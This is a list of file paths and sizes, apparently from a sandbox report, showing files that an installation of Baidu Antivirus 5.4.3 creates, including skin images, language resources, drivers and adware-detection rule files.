%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\2052\BavUi\skin\antivirus\ProcessRightmenuScan.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1054\ieprotect\skin\setbtn_on_normal.png (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa13.tmp\InstSkin\installSlice_27.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1054\BavUi\skin\antivirus\offBtnNormal.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1057\BavUi\skin\antivirus\guide_welcome.png (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1185.InstantSavingsApp.rul (12 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\2052\BavUi\skin\antivirus\guide_welcome.png (5 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\2052\ieprotect\skin\safeicon.png (3 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\common\skin\radiobox\radio_sel_disable.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Pop_Hips\res\skin.xml (70 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\Plugins\Pulgin_Dark_DeleteFileTip\Pulgin_Dark_DeleteFileTip.dll (214 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\data\ag.dat (28 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1028\feedback\skin.xml (5 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\2052\BavUi\skin\antivirus\onBtnHover.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\bavadvtools\8A73A249-C3BE-401A-8335-A832080931D3\gray_icon2.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\HipsHp.dll (6301 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Guide\res\skin\scanicon.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\scan\icon\scan_split_line.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Guide\res\skin\logosmall.png (17 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Settings\res\skin\speechrolechecked.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\bav_updater\skin\button_min_over.png (191 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1183.SuperfishWindowShopper.rul (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1036\ieprotect\skin.xml (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1033\BavUi\skin\antivirus\summary_top_safe_text.png (3 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1057\ieprotect\skin.xml (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1046\investigate\skin\mainFrame_investigate_mini_layout3_slice.png (10 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1054\BavUi\skin\antivirus\offBtnHover.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\BavWebClient.exe (3775 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_investigate\skin\green_over.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\scan\button\folderBtnHover.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\HipsHB.dll (1758 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\scan\icon\fb_normal.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\2052\BavUi\skin\antivirus\ProcessCustomScan.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Pop_OA\res\skin.xml (33 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\scan\tree\virusRed.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1036\BavTray\skin\black_pop_detected.png (3 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\BavSvc.exe (15801 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\scan\icon\splitline.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1057\feedback\skin.xml (5 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\uTorrentControl.rul (17 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\BavRr.dll (143 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Pop_OA\res\skin\onaccess\listHeadLine.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\common\skin\sysbutton\TopBtnHover.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1046\BavUi\skin\antivirus\guide_main_layout9_slice.png (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Quarantine\res\skin\tree_title_bk.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1028\investigate\skin\investigate_op_layout4_bg.png (19 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1046\BavTray\skin\black_pop_detected.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\3082\ieprotect\skin\setbtn_on_normal.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1028\BavTray\skin\dl_safe.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Settings\res\skin\icon_scan_hover.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\general\sysbutton\TopBtnClose.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\BsrScan\symsrv.yes (3 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1036\investigate\skin\investigate_op_layout2_bg.png (12 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavtray\skin\menu\menu_icon_feedback.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\CrashUL.exe (1425 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1148.KeyBar1.8.rul (18 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1257.blockandsurf.rul (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1033\BavUi\skin\antivirus\offBtnHover.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\bav_updater\skin\stepbar\finished.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Settings\res\skin\icon_audio_hover.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_open_unknown_file\skin\closeH.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\bav_updater\skin\logo.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1028\ieprotect\skin\setbtn_off_normal.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\2052\BavTray\skin\dl_safe_s.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\3082\BavUi\skin\antivirus\guide_welcome.png (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\scan\button\white_deep_hover.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\tools\ieprotect\skin\button\green_hover.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1031\ieprotect\skin\setbtn_on_hover.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1108.SmartSuggestor.rul (256 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\2052\ieprotect\skin.xml (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Pop_OA\res\skin\onaccess\close_down.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\3082\language.ini (66 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_open_unknown_file\skin\btnD.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\3082\BavUi\skin\antivirus\onBtnHover.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\common\skin\tree\down.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1054\BavUi\skin\antivirus\GuideSlice_7_ScanNow.png (41 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1036\language.ini (72 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1256.flashenhancer.rul (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\RecallDown.exe (272 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\common\skin\button\red_normal.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Guide\res\skin\rect.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\scan\icon\title_virus_icon.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\2052\BavTray\skin\dl_threat_s.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1164.RecordChecker.rul (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\Plugins\Plugin_USBProtect\Plugin_USBProtect.dll (1743 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\2052\investigate\skin\investigate_op_layout4_bg.png (19 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1125.NCH_ENToolbar.rul (17 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\common\skin\icon\TitleLogoInWhite.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1054\BavUi\skin\antivirus\ProcessFullScan.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1031\BavUpdater\skin.xml (6 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_investigate\skin\gray_down.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\scan\icon\nosel_icon.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\scan\tree\virus_trust_bg.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Pop_OA\res\skin\bg\bg_warning.bmp (16 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1033\BavUpdater\skin.xml (7 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\BsrScan\cl.dat (203 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\data\BavDd.dat (212 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_open_unknown_file\skin\itemfocus.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\CheckNetwork.exe (156 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1046\BavTray\skin\dl_safe.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\scan\bg\anti_home_bg.png (1658 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1168.LessTabs.rul (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\bav_updater\skin\progressbar\Installing_bc.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1033\feedback\skin.xml (5 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\scan\button\report_hover.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavtray\skin\menu\menu_icon_floathover.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Pop_OA\res\skin\progress\loading.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\unloadOpponent\skin\skin\bg\bg_installav.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\bavadvtools\09F68E66-0B2F-47f7-83AF-77569A4A63C1\detailDef.xml (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\2052\BavUi\skin\antivirus\ProcessQuickScan.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\bavadvtools\128B4BEC-5D89-43AD-BAA8-207084AA0E4F\gray_icon2.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1028\BavTray\skin\dl_safe_s.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1054\BavUi\skin\antivirus\ProcessQuickScan.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\common\skin\button\big_green_normal.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1036\BavOpenUnknownFile\skin.xml (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1129.HamInfoBar.rul (22 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\bav_updater\skin\gray_over.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1046\context\context.ini (418 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_feedback\skin\closedown.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavtray\skin\menu\tray_menu_line.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1031\ieprotect\skin\lockClosed.png (5 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\BEVMApi001.dll (1675 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\scan\icon\res_reboot_icon.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1036\BavTray\skin\black_pop_excluded.png (3 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_hipsadp\skin\unlike.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\bav_updater\skin\checkbox\checkbox_disable_unknown.png (14 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavtray\skin\menu\tray_menu_about.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1046\feedback\skin\SUBMIT_bg2.png (66 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa13.tmp\DarkDumpReport.7z (5520 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_investigate\skin\investigate_black2.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\InternetHelper.rul (18 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_open_unknown_file\skin.xml (13 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1031\investigate\skin\unloadInvestigateTitle_cry.png (27 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\dump\CrashReportConfig.ini (948 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\BsrScan\bsrbc64.sys (65 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_USBProtect\res\LockList\skin\scroll.bmp (36 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\BsrScan\bsrbc.sys (54 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1036\ieprotect\skin\lockClosed.png (5 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\general\scrollbar\scroll.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1046\BavUi\skin\antivirus\summary_top_safe_text.png (3 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\tools\tools_cancel_down.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavtray\skin\bg\bg_green_small.bmp (114 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\2052\BavUi\skin\antivirus\main_title_noprocess.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Pop_Hips\res\skin\button\arrow_btn_down.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavtray\skin\button\TrustBtnNormal.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavtray\skin\menu\menu_icon_setting.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1031\BavTray\skin.xml (86 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Pop_Hips\res\skin\bg\bg_scan_menu_sep.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1031\BavUi\skin\antivirus\free.png (3 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa13.tmp\nsSkinEngineW.dll (3677 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1057\BavUi\skin\antivirus\main_title_unprotected.png (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\common\skin\button\red_hover.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Pop_OA\res\skin\progress\loading_bg.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1028\BavUi\skin\antivirus\summary_top_safe_text.png (5 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1057\investigate\skin\investigate_op_layout4_bg.png (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Pop_Hips\res\skin\bg\bg_blue2.bmp (16 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1053.SupremeSavings.rul (7 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\tools\ieprotect\skin\checkbox\checkbox_unsel_hot.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Pop_Hips\res\skin\bg\auto_bg_green.png (31 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\bnbase.sys (52 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\CP.dll (3718 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\BdCameraProtect.sys (21 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1057\BavUi\skin.xml (62 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\data\kp.dat (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1033\BavUi\skin\antivirus\main_title_safe.png (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1057\ieprotect\skin\setbtn_off_hover.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1031\SecurityCode\skin.xml (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\2052\SecurityCode\skin.xml (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Guide\res\skin\line3.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1218.ExcellentCoupons.rul (14 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1054\BavTray\skin\black_pop_excluded.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\bav_updater\skin\setting_btn_normal.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_hipsadp\skin\logo.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\scan\icon\baidu_engine_ico.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1142.KeyBar1.13.rul (20 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1054\feedback\skin\SUBMIT_bg2.png (67 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1031\BavTray\skin\dl_threat.png (4 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa13.tmp\InstSkin\customDown.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1249.searchsnacks.rul (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\scan\bg\nosel_bg.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Settings\res\skin\icon_schedule_normal.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1036\BavUi\skin.xml (66 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\common\skin\checkbox\bluebg_checkbox_disable_unknown.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1057\ieprotect\skin\lockClosed.png (3 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1057\investigate\skin\mainFrame_investigate_mini_layout1_slice.png (10 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\update_config.xml (4 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa13.tmp\InstSkin\InstSkin1036.txt (46 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\bav_updater\skin\pop_button_close_normal.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_hipsadp\skin\like.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1036\feedback\skin\SUBMIT_bg2.png (65 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1031\context\context.ini (386 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\3082\BavUi\skin\antivirus\GuideSlice_7_ScanNow.png (39 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavtray\skin\msgbox\icon_blue_tip.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1033\investigate\skin\investigate_op_layout4_bg.png (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_investigate\skin\investigate_unstall.png (6 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1055.WhiteSmoke.rul (15 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1031\BavUi\skin\antivirus\ProcessCustomScan.png (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1028\BavUi\skin\antivirus\ProcessFullScan.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1028\ieprotect\skin\safeicon.png (3 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\2052\BavTray\skin\dl_threat.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\common\skin\checkbox\list\checkbox_hot_unknown.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\bavadvtools\8A73A249-C3BE-401A-8335-A832080931D3\gray_icon.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\HipsDR.dll (1767 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\BavR3Base.sys (47 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\bav_updater\skin\bg_reinstall_warning.bmp (1669 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\common\skin\icon\logo_big.png (23 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1033\BavUi\skin\antivirus\free.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\common\skin\radiobox\radio_sel_hot.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\bav_updater\skin\icon_pcf_popularise_title.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1046\investigate\skin\mainFrame_investigate_mini_layout1_slice.png (9 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1031\BavUi\skin\antivirus\summary_top_safe_scanfinish.png (5 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_ChangeSkin\res\skin\btnD.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\common\skin\checkbox\list\checkbox_sel_nor.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\common\skin\checkbox\bluebg_checkox_sel_disale.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\tools\ieprotect\skin\button\green_disable.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1054\BavUi\skin\antivirus\onBtnNormal.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\BavCheckOpponent.exe (238 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1054\ieprotect\skin\setbtn_off_hover.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1054\investigate\skin\investigate_op_layout4_bg.png (9 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\general\aboutus\about_us_bg.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\scan\engine\disabledTips.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Pop_Hips\res\skin\button\side_blue_arrow_normal.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\data\apdcn.dat (18 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\2052\feedback\skin\main-feedback_tittle.png (72 bytes)
